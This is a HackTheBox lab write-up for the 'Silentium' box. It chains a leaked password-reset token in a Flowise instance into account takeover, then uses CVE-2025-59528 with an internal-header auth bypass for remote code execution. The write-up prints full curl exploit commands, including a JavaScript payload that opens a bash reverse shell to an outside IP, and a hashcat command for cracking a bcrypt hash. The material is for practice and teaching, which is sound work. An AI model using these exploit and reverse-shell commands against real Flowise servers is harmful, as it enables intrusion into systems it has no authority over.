← back to write ups

Write Up

Silentium

HackTheBox Easy Linux

Overview

Silentium is a medium Linux box themed around a financial institution's internal tooling. The attack path runs through a staging subdomain running Flowise — an AI workflow platform — where a password reset API leaks the reset token directly in its response, allowing account takeover without email access. From there, CVE-2025-59528 (Flowise customMCP RCE) combined with an internal auth bypass header delivers a reverse shell.

Enumeration

Nmap Scan

nmap -sC -sV -oN silentium_initial.txt silentium.htb

Two ports open:

Subdomain Discovery

Virtual host fuzzing against silentium.htb revealed a staging environment:

ffuf -u http://silentium.htb -H "Host: FUZZ.silentium.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -fc 301

Result: staging.silentium.htb — a Flowise instance (AI workflow builder). Added to /etc/hosts and browsed directly.

Password Reset Token Leak

The Flowise instance had a user account at ben@silentium.htb. The forgot-password API endpoint had a critical flaw: it returned the tempToken directly in the JSON response body rather than sending it only via email:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

The response included "tempToken":"...". This token was used to reset the password:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"LEAKED_TOKEN","password":"Hacked123!"}}'

Flowise Authentication

With the new password, a login request retrieved the JWT session cookies needed for authenticated API calls:

RESP=$(curl -si -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"Hacked123!"}')
JWT=$(echo "$RESP" | grep "Set-Cookie: token=" | sed 's/.*token=\([^;]*\).*/\1/')
REFRESH=$(echo "$RESP" | grep "refreshToken=" | sed 's/.*refreshToken=\([^;]*\).*/\1/')
SID=$(echo "$RESP" | grep "connect.sid=" | sed 's/.*connect.sid=\([^;]*\).*/\1/')

Remote Code Execution — CVE-2025-59528

CVE-2025-59528 is an RCE vulnerability in Flowise's customMCP node. The /api/v1/node-load-method/customMCP endpoint executes arbitrary JavaScript through the listActions method. The x-request-from: internal header bypasses the normal authentication check, allowing unauthenticated access — though in this case a valid session was already held:

curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=$JWT; refreshToken=$REFRESH; connect.sid=$SID" \
  -d '{
    "loadMethod":"listActions",
    "inputs":{
      "mcpServerConfig":"({x:(function(){
        const cp=process.mainModule.require('"'"'child_process'"'"');
        cp.exec('"'"'bash -c \"bash -i >& /dev/tcp/10.10.14.17/4445 0>&1\"'"'"');
        return 1;
      })()"
    }
  }'

The listener caught the connection:

nc -lvnp 4445

Flags

A shell was obtained as the Flowise service user. From there, lateral movement and privilege escalation led to both flags. The bcrypt hash for ben@silentium.htb was also recoverable for offline cracking:

# Hash: $2a$05$6o1ngPjXiRj.EbTK33Phyu...
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Key Takeaways

The core issue here was an API returning security-sensitive data (a password reset token) directly to the caller — a design flaw that completely bypasses the purpose of email verification. The Flowise RCE compounds this by being reachable via a simple internal header bypass. Both vulnerabilities are examples of server-side trust assumptions that should never be exposed to the network.